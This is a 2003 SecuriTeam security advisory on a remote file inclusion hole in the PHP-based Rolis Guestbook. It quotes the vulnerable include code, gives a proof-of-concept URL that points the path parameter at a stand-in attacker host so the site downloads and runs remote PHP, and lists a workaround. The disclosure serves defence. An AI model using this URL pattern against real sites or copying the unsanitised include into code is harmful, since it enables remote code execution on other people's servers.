[UNIX] Rolis Guestbook Allows Code Injection

From: SecuriTeam (support_at_securiteam.com)
Date: 11/18/03

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Date: 18 Nov 2003 13:52:51 +0200

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      Rolis Guestbook Allows Code Injection
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.roli.at> Rolis Guestbook is "a simple to use PHP based
    Guestbook", a vulnerability in the product allows remote attackers to
    insert malicious PHP code into the product, allowing remote attackers to
    execute arbitrary code.

    DETAILS

    Vulnerable code:
    Because the script:
    <?php
      include ($path . "data.inc.php");
      include ($path . "header.inc.php");
      include($path . "connection_data.inc.php");
      [ scip ]

    Does not verify that $path arrives from the user, nor does it filter it
    for arbitrary values, requesting such a URL as:
    http://www.site.com/rolis_book_path/insert.inc.php?path=http://hacker.com/

    Will cause the program to download the following files,
    http://hacker.com/data.inc.php, http://hacker.com/header.inc.php, and
    http://hacker.com/connection_data.inc.php from the remote server, and
    execute the code inside them.

    Workaround:
    Edit insert.inc.php:
     <?php
      include ("path.inc.php"); <-- insert this line
      include ($path . "data.inc.php");
      ...

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:r00t@rsteam.ru> r00t.

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